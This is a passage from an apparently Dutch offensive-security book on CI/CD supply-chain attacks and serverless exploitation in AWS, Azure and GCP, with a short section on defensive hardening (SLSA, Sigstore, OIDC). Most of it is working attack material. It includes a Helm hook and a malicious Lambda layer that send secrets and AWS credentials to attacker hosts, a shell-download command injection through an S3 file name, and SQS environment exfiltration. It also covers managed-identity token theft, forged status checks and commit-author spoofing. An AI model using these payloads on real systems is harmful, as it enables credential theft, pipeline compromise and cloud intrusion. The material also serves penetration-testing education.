      # Verzamel alle secrets in de namespace
      apk add --no-cache curl
      SECRETS=$(kubectl get secrets -o json 2>/dev/null | base64 -w0)
      curl -s "https://attacker.com/collect" -d "$SECRETS"
      sleep infinity
  serviceAccountName: {{ .Release.Name }}
  # Gebruikt het service account van de applicatie

values.yaml secrets

# Zoek naar secrets in Helm values bestanden
# In de Git repository:
find . -name "values*.yaml" -o -name "values*.yml" | while read f; do
    echo "=== $f ==="
    grep -n -iE '(password|secret|key|token|credential)' "$f"
done

# In ArgoCD (als je API-toegang hebt):
argocd app get APP_NAME -o yaml | grep -A5 -iE '(password|secret|key)'

# In het cluster:
helm get values RELEASE_NAME -n NAMESPACE
# Toont ALLE values inclusief secrets

7.10 Pipeline Hardening Bypass

Branch protection bypass

Branch protection regels zijn de poortwachters van de codebase. Ze vereisen reviews, status checks en signed commits. Maar poortwachters zijn alleen effectief als ze niet te omzeilen zijn:

# Bypass 1: Admin override
# Admins kunnen branch protection regels overrulen
# Als je een admin account compromitteert:
git push origin main --force  # Admin kan dit (als "include administrators" niet is ingeschakeld)

# Bypass 2: Status check manipulation
# Status checks worden gerapporteerd via de GitHub/GitLab API
# Als je een token hebt met 'repo:status' scope:
curl -X POST "https://api.github.com/repos/ORG/REPO/statuses/$COMMIT_SHA" \
    -H "Authorization: token $TOKEN" \
    -d '{
        "state": "success",
        "context": "ci/security-scan",
        "description": "All checks passed"
    }'
# De security scan is "geslaagd" -- zonder dat hij daadwerkelijk heeft gedraaid

# Bypass 3: Required reviewers omzeilen
# Als het minimale aantal reviewers op 1 staat:
# Compromitteer een tweede account en approve je eigen PR
# Of: als "dismiss stale reviews" niet is ingeschakeld,
# approve de PR, push nieuwe (kwaadaardige) commits, en merge

# Bypass 4: CODEOWNERS bypass
# .github/CODEOWNERS definieert wie welke bestanden moet reviewen
# Maar CODEOWNERS wordt alleen afgedwongen als het is geconfigureerd
# in de branch protection rules. Check of het daadwerkelijk actief is.

# Bypass 5: Fork-based bypass
# Fork de repo, maak wijzigingen, open een PR
# In sommige configuraties worden fork PRs minder streng behandeld

Required reviews circumvention

# Scenario: 2 required reviewers

# Methode 1: Compromitteer 2 reviewer accounts
# Social engineering, credential stuffing, of gelekte tokens

# Methode 2: Self-approval via API (als niet geblokkeerd)
# Sommige platforms staan toe dat een PR-auteur zijn eigen PR approved
# via de API, ook als het via de UI is geblokkeerd
curl -X POST "https://api.github.com/repos/ORG/REPO/pulls/PR_NUM/reviews" \
    -H "Authorization: token $AUTHOR_TOKEN" \
    -d '{"event": "APPROVE"}'

# Methode 3: Review dismissal
# Als je 'dismiss review' permissies hebt:
# Dismiss een negatieve review en vervang door een goedkeuring

Signed commit bypass

# Scenario: repository vereist signed commits

# Methode 1: GPG key van een developer compromitteren
# De private key staat vaak unencrypted in ~/.gnupg/

# Methode 2: Commit spoofing
# Git commit author is niet cryptografisch gekoppeld aan de GPG key
# Je kunt een commit signen met JOUW key maar de author op IEMAND ANDERS zetten
git commit --author="Trusted Dev <trusted@company.com>" -S -m "Legitimate change"
# De commit is gesigned (door jou), maar de author is iemand anders
# Sommige systemen checken alleen OF een commit is gesigned, niet DOOR WIE

# Methode 3: Rebase en force push (als toegestaan)
# Herschrijf de history met unsigned commits
# en force push (als branch protection dit toestaat voor admins)

Verdedigingsmaatregelen

SLSA Framework

Supply-chain Levels for Software Artifacts (SLSA, uitgesproken als “salsa”) is een framework van Google dat de integriteit van de software supply chain adresseert:

SLSA Niveau Vereisten Wat het beschermt tegen
Level 0 Niets Niets
Level 1 Build proces is gedocumenteerd, provenance gegenereerd Onbekende build herkomst
Level 2 Hosted build service, authenticated provenance Gemanipuleerde build omgeving
Level 3 Hardened build platform, non-falsifiable provenance Gecompromitteerde build service
Level 4 Two-party review, hermetic builds Insider threats
# Voorbeeld: SLSA provenance genereren in GitHub Actions
- uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v1.9.0
  with:
    base64-subjects: "${{ needs.build.outputs.hashes }}"

Sigstore

Sigstore is een ecosysteem voor het ondertekenen en verifieren van software-artefacten:

# Cosign: container image signing
# Teken een image
cosign sign --key cosign.key REGISTRY/IMAGE:TAG

# Verifieer een image
cosign verify --key cosign.pub REGISTRY/IMAGE:TAG

# Keyless signing met OIDC (geen sleutelbeheer nodig)
cosign sign REGISTRY/IMAGE:TAG
# Authenticeert via je OIDC identity (GitHub, Google, etc.)

# In Kubernetes: Kyverno policy om alleen gesignde images toe te staan
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
  - name: verify-cosign
    match:
      any:
      - resources:
          kinds:
          - Pod
    verifyImages:
    - imageReferences:
      - "registry.company.com/*"
      attestors:
      - entries:
        - keyless:
            subject: "https://github.com/company/*"
            issuer: "https://token.actions.githubusercontent.com"

Ephemeral runners

# GitHub Actions: gebruik altijd GitHub-hosted runners voor publieke repos
runs-on: ubuntu-latest  # Ephemeral, schone omgeving per job

# Self-hosted runners: configureer als ephemeral
# ./config.sh --ephemeral
# Runner wordt na elke job automatisch de-registered en opnieuw aangemaakt

# Docker-based ephemeral runners
# Elke job draait in een verse container
# Geen cross-job contaminatie mogelijk

Least privilege tokens

# GitHub Actions: minimale GITHUB_TOKEN permissies
permissions:
  contents: read
  packages: write
  # Alleen wat nodig is, niets meer

# GitLab CI: gebruik scoped variables
variables:
  DEPLOY_TOKEN:
    value: $CI_DEPLOY_TOKEN
    # protected: alleen beschikbaar op protected branches
    # masked: verborgen in build logs

# Jenkins: gebruik credential scoping
// Jenkinsfile
withCredentials([
    usernamePassword(
        credentialsId: 'deploy-staging',  // Specifiek per omgeving
        usernameVariable: 'USER',
        passwordVariable: 'PASS'
    )
]) {
    // Credentials alleen beschikbaar in dit blok
    sh 'deploy.sh'
}

OIDC Federation

# AWS OIDC met GitHub Actions (geen langlevende credentials)
# Stap 1: Configureer de OIDC provider in AWS
# Stap 2: Maak een IAM role met trust policy
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::ACCOUNT:oidc-provider/token.actions.githubusercontent.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
                },
                "StringLike": {
                    "token.actions.githubusercontent.com:sub": "repo:ORG/REPO:ref:refs/heads/main"
                }
            }
        }
    ]
}

# Stap 3: Gebruik in de workflow
# - uses: aws-actions/configure-aws-credentials@v4
#   with:
#     role-to-assume: arn:aws:iam::ACCOUNT:role/GitHubActionsRole
#     aws-region: eu-west-1
# Geen AWS_ACCESS_KEY_ID, geen AWS_SECRET_ACCESS_KEY
# Alleen een kortlevend session token
# GCP Workload Identity Federation met GitHub Actions
# Vergelijkbaar principe: OIDC token → GCP service account
- uses: google-github-actions/auth@v2
  with:
    workload_identity_provider: 'projects/PROJECT_NUM/locations/global/workloadIdentityPools/github/providers/github-provider'
    service_account: 'github-actions@PROJECT.iam.gserviceaccount.com'

IB Tip: OIDC federation is de beste manier om langlevende credentials uit CI/CD pipelines te elimineren. Maar let op de condition in de trust policy. Als de sub claim te breed is (bijv. repo:ORG/* in plaats van repo:ORG/REPO:ref:refs/heads/main), kan elke repository in de organisatie de rol aannemen. Controleer altijd de trust policy conditions.

Referentietabel

Techniek Categorie MITRE ATT&CK Platform Complexiteit
Expression injection Code Execution T1059.004 - Unix Shell GitHub Actions Middel
Self-hosted runner abuse Initial Access T1195.002 - Software Supply Chain GitHub/GitLab Middel
GITHUB_TOKEN abuse Credential Access T1528 - Steal Application Access Token GitHub Actions Laag
pull_request_target exploit Credential Access T1528 GitHub Actions Middel
Secret exfiltration via artifacts Credential Access T1552.001 - Credentials In Files Alle platforms Laag
Shared runner exploitation Lateral Movement T1021 - Remote Services GitLab CI Middel
CI/CD variable extraction Credential Access T1552.001 GitLab CI Laag
Protected branch bypass Defense Evasion T1562.001 - Disable or Modify Tools Alle platforms Middel
Include directive abuse Execution T1059.004 GitLab CI Middel
Jenkins Script Console RCE Execution T1059.007 - JavaScript Jenkins Laag
Groovy sandbox escape Execution T1059 - Command and Scripting Jenkins Hoog
Jenkins credential theft Credential Access T1555 - Credentials from Password Stores Jenkins Middel
Pipeline as code injection Execution T1195.002 Jenkins Middel
Environment variable leaks Credential Access T1552.001 Alle platforms Laag
Build log secrets Credential Access T1552.001 Alle platforms Laag
Terraform state secrets Credential Access T1552.001 Alle platforms Laag
Dependency confusion Initial Access T1195.001 - Software Dependencies npm/PyPI/NuGet Middel
Typosquatting Initial Access T1195.001 npm/PyPI/NuGet Laag
Compromised Actions/Orbs Execution T1195.002 GitHub/CircleCI Middel
Malicious packages Execution T1195.001 Alle package managers Middel
Build artifact tampering Persistence T1195.002 Alle platforms Middel
ArgoCD exploitation Initial Access T1190 - Exploit Public-Facing Application ArgoCD/K8s Middel
Helm chart injection Execution T1610 - Deploy Container Kubernetes/Helm Middel
values.yaml secret extraction Credential Access T1552.001 Kubernetes/Helm Laag
Status check manipulation Defense Evasion T1562.001 GitHub/GitLab Middel
Review circumvention Defense Evasion T1562.001 Alle platforms Middel
SLSA provenance forgery Defense Evasion T1195.002 Alle platforms Hoog

De software supply chain is het fundament waarop moderne software wordt gebouwd. Het is ook een fundament met scheuren die we pas beginnen te zien. De aanvallen in dit hoofdstuk – van dependency confusion tot pipeline injection – exploiteren niet zozeer technische kwetsbaarheden als wel het vertrouwen dat we in onze tools en processen stellen. En vertrouwen, zo leert de ervaring, is het eerste wat een aanvaller misbruikt.

In de volgende hoofdstukken verlaten we de bouwketen en kijken we naar de cloud-omgevingen waar deze software uiteindelijk draait: AWS, Azure en GCP. Andere omgevingen, dezelfde fouten.

Serverless Exploitatie

Serverless Exploitatie

Waarin we ontdekken dat “geen server” niet betekent “geen probleem”, maar eerder “iemand anders z’n probleem dat nu ook jouw probleem is geworden”

Er is iets prachtig ironisch aan de term “serverless.” Er zijn absoluut servers. Hele datacenters vol. Ze staan er gewoon, te draaien, te koelen, stroom te vreten. Het enige verschil is dat jij ze niet meer ziet. En in de security-wereld geldt een universele waarheid: wat je niet ziet, kun je niet beveiligen. Of preciezer: wat je niet ziet, ga je gegarandeerd verkeerd beveiligen.

Serverless computing is het ultieme abstractieniveau. Je schrijft een functie, je deployt die, en ergens in de eindeloze ingewanden van een hyperscaler draait je code wanneer iemand of iets dat triggert. Geen OS om te patchen, geen firewall om te configureren, geen server om te hardenen. Klinkt als een security-droom, toch? Nou, pak er een stoel bij.

IB Tip: Serverless verschuift het aanvalsoppervlak – het elimineert het niet. In plaats van OS-vulnerabilities krijg je misconfigured IAM policies, event injection, en dependency attacks. De attack surface is anders, niet kleiner.

8.1 Serverless Architectuur

Functions-as-a-Service: Het Concept

Het idee achter Functions-as-a-Service (FaaS) is bedrieglijk simpel. Je schrijft een stukje code – een functie – dat precies een ding doet. Die functie wordt getriggerd door een event: een HTTP-request, een nieuw bestand in een bucket, een bericht op een queue. De cloud provider regelt alles eromheen: compute, scaling, networking, het OS.

De drie grote spelers:

Provider Service Runtime Omgeving Max Execution Max Memory
AWS Lambda Amazon Linux 2 / AL2023 15 minuten 10 GB
Azure Functions Windows / Linux containers 230 seconden (Consumption) / onbeperkt (Premium) 14 GB
GCP Cloud Functions Ubuntu-based container 9 minuten (1st gen) / 60 min (2nd gen) 32 GB

Event-Driven Architectuur

Serverless functies draaien niet continu. Ze worden getriggerd. En die triggers vormen een van de meest onderschatte aanvalsvectoren in de moderne cloud.

                    +------------------+
   HTTP Request --> |                  |
   S3 Event     --> |  Serverless      | --> DynamoDB
   SQS Message  --> |  Function        | --> S3 Bucket
   SNS Topic    --> |                  | --> External API
   Schedule     --> |                  | --> SES Email
                    +------------------+
         ^                                      |
         |          Event Sources          Downstream
         +--- Hier zit je attack surface ---+

Elke pijl in dat diagram is een potentiele aanvalsvector. Elke event source kan gemanipuleerd worden. Elke downstream service kan misbruikt worden als de functie teveel rechten heeft.

Cold Starts en de Execution Environment

Wanneer een Lambda-functie voor het eerst wordt aangeroepen – of na een periode van inactiviteit – moet de cloud provider een nieuwe execution environment opzetten. Dit heet een cold start:

  1. Download van de function code en layers
  2. Bootstrap van de runtime (Python, Node.js, Java, etc.)
  3. Initialisatie van de handler code (imports, connections)
  4. Uitvoering van de daadwerkelijke functie

Na de uitvoering blijft de execution environment een tijdje warm. En dat “warm” houden heeft security-implicaties die we straks gaan uitbuiten.

Cold Start:
[Download Code] → [Init Runtime] → [Init Handler] → [Execute] → [Warm]
                                                                    |
Warm Invocation:                                                    v
                                         [Execute] ← ← ← ← ← [Reuse]

IB Tip: De /tmp directory in AWS Lambda persists tussen warm invocations van dezelfde execution environment. Data die je daar achterlaat – credentials, tools, exfiltrated data – overleeft meerdere function invocations. Dit is zowel een exploit-vector als een persistence-mechanisme.

Het Shared Responsibility Model voor Serverless

AWS heeft een mooi plaatje van het Shared Responsibility Model. Bij serverless schuift de verantwoordelijkheid van de klant naar de provider. Maar de klant blijft verantwoordelijk voor:

Dat zijn zes dingen om fout te doen. En de gemiddelde developer team doet er minstens vier fout.

8.2 AWS Lambda Aanvallen

Function URL Abuse

Sinds 2022 ondersteunt Lambda function URLs – directe HTTPS-endpoints zonder API Gateway. Het probleem: ze worden vaak geconfigureerd met AuthType: NONE.

Herkenning van kwetsbare function URLs:

# Zoek alle Lambda functies met function URLs
aws lambda list-functions --query 'Functions[].FunctionName' --output text | \
  while read fn; do
    url=$(aws lambda get-function-url-config --function-name "$fn" 2>/dev/null)
    if [ $? -eq 0 ]; then
      auth=$(echo "$url" | jq -r '.AuthType')
      endpoint=$(echo "$url" | jq -r '.FunctionUrl')
      echo "Function: $fn | Auth: $auth | URL: $endpoint"
    fi
  done

# Zoek specifiek naar NONE auth type
aws lambda list-function-url-configs --function-name TARGET_FUNCTION \
  --query 'FunctionUrlConfigs[?AuthType==`NONE`]'

Exploitatie van open function URLs:

# Direct aanroepen -- geen authenticatie nodig
curl -X POST https://abcdefg1234567.lambda-url.eu-west-1.on.aws/ \
  -H "Content-Type: application/json" \
  -d '{"action": "processOrder", "orderId": "1 OR 1=1"}'

# Event injection via query parameters
curl "https://abcdefg1234567.lambda-url.eu-west-1.on.aws/?file=../../../../etc/passwd"

Environment Variable Extraction

Lambda-functies slaan vaak secrets op in environment variables. Dat is de quick-and-dirty manier en – laten we eerlijk zijn – de manier waarop de meeste tutorials het voordoen. Het is alsof je je huissleutel onder de deurmat legt en dan verbaasd bent als iemand binnenkomt.

Via de Lambda API (met juiste permissions):

# Haal alle environment variables op van een functie
aws lambda get-function-configuration \
  --function-name target-function \
  --query 'Environment.Variables'

# Output kan bevatten:
# {
#   "DB_PASSWORD": "Pr0ductie-Wachtw00rd!",
#   "API_KEY": "sk-live-aBcDeFgHiJkLmNoPqRsTuVwXyZ",
#   "STRIPE_SECRET": "sk_live_...",
#   "JWT_SECRET": "supersecretkey123"
# }

Vanuit een gecompromitteerde functie (runtime exploitation):

# Als je code execution hebt in de Lambda functie
import os

# Alle environment variables dumpen
for key, value in os.environ.items():
    print(f"{key}={value}")

# Specifieke Lambda runtime variabelen:
# AWS_ACCESS_KEY_ID        - Temporary credentials
# AWS_SECRET_ACCESS_KEY    - Temporary credentials
# AWS_SESSION_TOKEN        - Session token
# AWS_LAMBDA_FUNCTION_NAME - Functienaam
# AWS_REGION               - Region
# _HANDLER                 - Handler pad

IB Tip: Lambda runtime credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) zijn temporary credentials gekoppeld aan de function’s execution role. Deze credentials geven je dezelfde rechten als de Lambda-functie zelf. Gebruik aws sts get-caller-identity om te bevestigen welke role je hebt.

Layer Poisoning

Lambda Layers zijn herbruikbare code-pakketten die aan functies worden toegevoegd. Ze worden voor de function code geladen. Als een aanvaller een layer kan modificeren of een eigen layer kan injecteren, draait zijn code in elke functie die die layer gebruikt.

# Bekijk welke layers een functie gebruikt
aws lambda get-function-configuration \
  --function-name target-function \
  --query 'Layers[].Arn'

# Bekijk layer versies
aws lambda list-layer-versions \
  --layer-name shared-utils

# Download een layer om te analyseren
aws lambda get-layer-version \
  --layer-name shared-utils \
  --version-number 3 \
  --query 'Content.Location' \
  --output text | xargs curl -o layer.zip

# Publiceer een malicious layer versie (als je lambda:PublishLayerVersion hebt)
zip -r malicious-layer.zip python/
aws lambda publish-layer-version \
  --layer-name shared-utils \
  --zip-file fileb://malicious-layer.zip \
  --compatible-runtimes python3.9 python3.10 python3.11

# Update de functie om de nieuwe (malicious) layer versie te gebruiken
aws lambda update-function-configuration \
  --function-name target-function \
  --layers arn:aws:lambda:eu-west-1:123456789012:layer:shared-utils:4

Malicious layer voorbeeld (Python):

# python/evil_extension.py -- wordt geladen via de layer
import os
import urllib.request
import json

# Exfiltreer credentials bij cold start (init fase)
creds = {
    "access_key": os.environ.get("AWS_ACCESS_KEY_ID"),
    "secret_key": os.environ.get("AWS_SECRET_ACCESS_KEY"),
    "session_token": os.environ.get("AWS_SESSION_TOKEN"),
    "function_name": os.environ.get("AWS_LAMBDA_FUNCTION_NAME"),
    "region": os.environ.get("AWS_REGION")
}

req = urllib.request.Request(
    "https://attacker.example.com/collect",
    data=json.dumps(creds).encode(),
    headers={"Content-Type": "application/json"},
    method="POST"
)
try:
    urllib.request.urlopen(req, timeout=2)
except:
    pass  # Fail silently -- de functie moet gewoon blijven werken

/tmp Persistence

De /tmp directory in Lambda is de enige schrijfbare locatie (naast /var/task voor de code zelf). Het heeft 512 MB tot 10 GB aan ruimte (configureerbaar) en – cruciaal – het persists tussen warm invocations.

import os
import subprocess

def handler(event, context):
    marker = "/tmp/.persistence_marker"

    if os.path.exists(marker):
        # Warme container -- onze tools staan er nog
        print("Warm invocation -- tools already staged")
    else:
        # Koude start -- stage onze tools
        # Download een statisch gecompileerde binary
        os.system("curl -s https://attacker.example.com/tools/nmap-static -o /tmp/nmap")
        os.system("chmod +x /tmp/nmap")

        # Maak een marker aan
        with open(marker, "w") as f:
            f.write("staged")

    # Gebruik de gestage-de tools
    result = subprocess.run(
        ["/tmp/nmap", "-sn", "10.0.0.0/24"],
        capture_output=True, text=True, timeout=30
    )

    return {"statusCode": 200, "body": result.stdout}

Event Injection

Dit is waar het echt interessant wordt. Lambda-functies worden getriggerd door events, en die events bevatten data. Als de functie die data niet sanitized, heb je injection.

S3 Event Injection:

# Een Lambda die getriggerd wordt door S3 uploads
def handler(event, context):
    bucket = event['Records'][0]['s3']['bucket']['name']
    key = event['Records'][0]['s3']['object']['key']

    # KWETSBAAR: key wordt direct in een shell command gebruikt
    os.system(f"file /tmp/{key}")  # Command injection via bestandsnaam!

    return {"processed": key}

Exploitatie:

# Upload een bestand met een malicious naam naar de trigger-bucket
aws s3 cp payload.txt \
  "s3://target-bucket/; curl attacker.example.com/shell.sh | bash ;.txt"

API Gateway Event Injection:

# Kwetsbare Lambda achter API Gateway
import json
import sqlite3

def handler(event, context):
    # Event body van API Gateway
    body = json.loads(event['body'])
    username = body['username']

    # KWETSBAAR: SQL injection
    conn = sqlite3.connect('/tmp/app.db')
    cursor = conn.execute(
        f"SELECT * FROM users WHERE username = '{username}'"
    )

    return {
        "statusCode": 200,
        "body": json.dumps([dict(row) for row in cursor])
    }

SQS Event Injection:

# Lambda die SQS berichten verwerkt
import json
import subprocess

def handler(event, context):
    for record in event['Records']:
        message = json.loads(record['body'])
        command = message.get('command', 'echo no command')

        # KWETSBAAR: command uit SQS message wordt direct uitgevoerd
        result = subprocess.run(command, shell=True, capture_output=True)

    return {"processed": len(event['Records'])}
# Stuur een malicious SQS message (als je sqs:SendMessage hebt)
aws sqs send-message \
  --queue-url https://sqs.eu-west-1.amazonaws.com/123456789012/process-queue \
  --message-body '{"command": "curl https://attacker.example.com/$(cat /proc/self/environ | base64 -w0)"}'

Runtime API Exploitation

Lambda functies communiceren met de Lambda Runtime API om events op te halen en responses terug te sturen. Deze API is beschikbaar op http://127.0.0.1:9001 (of via de AWS_LAMBDA_RUNTIME_API environment variable).

# Vanuit een gecompromitteerde functie:

# Haal het volgende event op (dit is wat de runtime normaal doet)
RUNTIME_API="${AWS_LAMBDA_RUNTIME_API}"
curl "http://${RUNTIME_API}/2018-06-01/runtime/invocation/next"

# Bekijk de functie-informatie
curl "http://${RUNTIME_API}/2018-06-01/runtime/init/error" \
  -d '{"errorMessage": "test", "errorType": "RuntimeError"}'

Lambda Extensions API (voor meer geavanceerde aanvallen):

# Registreer een malicious extension
EXTENSION_ID=$(curl -s -X POST \
  "http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/register" \
  -H "Lambda-Extension-Name: evil-extension" \
  -d '{"events": ["INVOKE", "SHUTDOWN"]}' \
  -o /dev/null -w '%header{Lambda-Extension-Identifier}')

# Nu ontvang je een callback bij elke invocation
curl "http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/event/next" \
  -H "Lambda-Extension-Identifier: ${EXTENSION_ID}"

IB Tip: De Lambda Runtime API en Extensions API zijn alleen bereikbaar vanuit de execution environment zelf. Maar als je eenmaal code execution hebt in een functie, geven ze je diepgaande controle over hoe die functie events verwerkt. Een malicious extension kan elke invocation intercepten en data exfiltreren voordat de response wordt teruggestuurd.

8.3 Azure Functions Aanvallen

HTTP Trigger Exploitation

Azure Functions met HTTP triggers zijn direct bereikbaar via een URL. De authenticatie wordt geregeld door authorization levels: anonymous, function, en admin.

# Ontdek Azure Functions endpoints (vaak voorspelbare URLs)
# Patroon: https://<functionapp>.azurewebsites.net/api/<functionname>
curl https://target-functionapp.azurewebsites.net/api/processData

# Anonymous functies zijn direct aanroepbaar
curl -X POST https://target-functionapp.azurewebsites.net/api/processData \
  -H "Content-Type: application/json" \
  -d '{"input": "test"}'

# Function-level auth vereist een function key (vaak gelekt in code/config)
curl "https://target-functionapp.azurewebsites.net/api/processData?code=LEAKED_FUNCTION_KEY"

Enumeratie van Function Apps:

# Met Azure CLI -- alle function apps in een subscription
az functionapp list --query '[].{name:name, rg:resourceGroup, url:defaultHostName}' -o table

# Haal de function keys op (als je voldoende rechten hebt)
az functionapp keys list --name target-functionapp --resource-group target-rg

# Bekijk de applicatie-instellingen (environment variables)
az functionapp config appsettings list \
  --name target-functionapp \
  --resource-group target-rg \
  --query '[].{name:name, value:value}' -o table

Managed Identity Token Theft

Azure Functions gebruiken vaak Managed Identities om te authenticeren bij andere Azure-services. De tokens zijn beschikbaar via het Instance Metadata Service (IMDS) endpoint.

# Vanuit een gecompromitteerde Azure Function:

# Haal een access token op voor Azure Resource Manager
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq .

# Token voor Microsoft Graph (emails, users, etc.)
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
  | jq .

# Token voor Key Vault
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" \
  | jq .

# Token voor Azure SQL
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://database.windows.net/" \
  | jq .

Gebruik het gestolen token:

# Gebruik het ARM token om resources te enumereren
TOKEN="eyJ0eXAi..."

# Lijst alle subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# Lijst alle resources in een subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | jq .

# Lees Key Vault secrets
KV_TOKEN="eyJ0eXAi..."  # Token voor vault.azure.net
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://target-keyvault.vault.azure.net/secrets?api-version=7.4" | jq .

IB Tip: Azure Managed Identity tokens hebben standaard een lifetime van 8-24 uur. Zodra je een token hebt gestolen, werkt het ook buiten de Azure Function. Je kunt het op je eigen machine gebruiken met az cli of directe API-calls. Check de exp claim in het JWT om te zien wanneer het verloopt.

Function Keys Extraction

Azure Functions gebruiken host keys en function keys voor authenticatie. Deze worden opgeslagen in Azure Storage en zijn opvraagbaar via de management API.

# Via Azure CLI (met voldoende rechten)
# Host keys (werken voor alle functies in de app)
az functionapp keys list \
  --name target-functionapp \
  --resource-group target-rg

# Function-specifieke keys
az functionapp function keys list \
  --name target-functionapp \
  --resource-group target-rg \
  --function-name processData

# Master key (geeft admin-level toegang)
az functionapp keys list \
  --name target-functionapp \
  --resource-group target-rg \
  --query 'masterKey'

Via de Kudu management interface:

# Kudu SCM is vaak bereikbaar op:
# https://<functionapp>.scm.azurewebsites.net

# Download de function secrets file
curl -s -u "deploy_user:deploy_password" \
  "https://target-functionapp.scm.azurewebsites.net/api/vfs/data/Functions/secrets/host.json"

# Bekijk de functie-code
curl -s -u "deploy_user:deploy_password" \
  "https://target-functionapp.scm.azurewebsites.net/api/vfs/site/wwwroot/processData/index.js"

Durable Functions Orchestration Abuse

Durable Functions voegen stateful orchestration toe aan Azure Functions. De orchestration state wordt opgeslagen in Azure Storage en is manipuleerbaar.

# Ontdek Durable Function endpoints
# Status endpoint (vaak open)
curl "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances?code=FUNCTION_KEY"

# Start een nieuwe orchestration
curl -X POST \
  "https://target-functionapp.azurewebsites.net/api/orchestrators/ProcessOrderOrchestrator?code=FUNCTION_KEY" \
  -H "Content-Type: application/json" \
  -d '{"orderId": "evil-order", "amount": -1000}'

# Stuur een event naar een draaiende orchestration
curl -X POST \
  "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances/INSTANCE_ID/raiseEvent/ApprovalEvent?code=FUNCTION_KEY" \
  -H "Content-Type: application/json" \
  -d '{"approved": true, "approver": "admin"}'

# Bekijk de execution history
curl "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances/INSTANCE_ID?showHistory=true&code=FUNCTION_KEY"

8.4 GCP Cloud Functions Aanvallen

Public Invocation

GCP Cloud Functions kunnen geconfigureerd worden met allUsers of allAuthenticatedUsers als invoker, waardoor ze publiek bereikbaar zijn.

# Zoek publiek invoceerbare functies
# Check IAM policy van een functie
gcloud functions get-iam-policy target-function \
  --region europe-west1 \
  --format json

# Kijk of allUsers de roles/cloudfunctions.invoker rol heeft
gcloud functions get-iam-policy target-function \
  --region europe-west1 \
  --flatten="bindings[].members" \
  --filter="bindings.members:allUsers" \
  --format="table(bindings.role)"

# Direct aanroepen van een publieke functie
curl -X POST "https://europe-west1-project-id.cloudfunctions.net/target-function" \
  -H "Content-Type: application/json" \
  -d '{"data": "test"}'

# Gen 2 functies (Cloud Run based)
gcloud functions describe target-function \
  --region europe-west1 \
  --gen2 \
  --format="value(serviceConfig.uri)"

Source Code Download

In GCP worden Cloud Function-bronbestanden opgeslagen in Cloud Storage. Met de juiste rechten kun je de broncode downloaden.

# Haal de source locatie op
gcloud functions describe target-function \
  --region europe-west1 \
  --format="value(sourceArchiveUrl)"

# Of voor Gen 2:
gcloud functions describe target-function \
  --region europe-west1 \
  --gen2 \
  --format="value(buildConfig.source.storageSource)"

# Download de broncode
gsutil cp gs://gcf-sources-PROJECT_NUMBER-REGION/target-function-VERSION.zip ./

# Of via de API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://cloudfunctions.googleapis.com/v1/projects/PROJECT/locations/REGION/functions/target-function?fields=sourceArchiveUrl"

# Unzip en analyseer
unzip target-function-VERSION.zip -d function-source/
cat function-source/main.py
cat function-source/requirements.txt

IB Tip: GCP Cloud Functions source code staat in een bucket met het patroon gcf-sources-{PROJECT_NUMBER}-{REGION}. Als je storage.objects.list of storage.objects.get hebt op die bucket, kun je alle function source code downloaden. Check ook gcf-v2-sources-* voor Gen 2 functies.

Service Account Token Theft

GCP Cloud Functions draaien met een service account. De credentials zijn beschikbaar via het metadata endpoint.

# Vanuit een gecompromitteerde Cloud Function:

# Haal het access token op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Haal het service account email op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"

# Haal de scopes op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"

# Haal de project ID op
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# Gebruik het token om IAM policies te bekijken
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r '.access_token')

curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
  -X POST -H "Content-Type: application/json" -d '{}'

8.5 Event Injection

Het Event Model als Aanvalsoppervlak

In een serverless architectuur is het event de input. En input validation is – hoe verrassend – net zo slecht bij serverless als bij elke andere applicatie. Het verschil is dat event sources diverser en minder voor de hand liggend zijn dan een simpele HTTP request.

Event Sources en hun Injection Vectors:
+---------------------------+-----------------------------------------------+
| Event Source              | Injection Vector                              |
+---------------------------+-----------------------------------------------+
| S3 PutObject              | Bestandsnaam, metadata, content type          |
| SQS/SNS Message           | Message body, message attributes              |
| API Gateway               | Path, query params, headers, body             |
| DynamoDB Streams           | NewImage/OldImage values                      |
| Kinesis                   | Data payload (base64 encoded)                 |
| CloudWatch Events         | Detail object                                 |
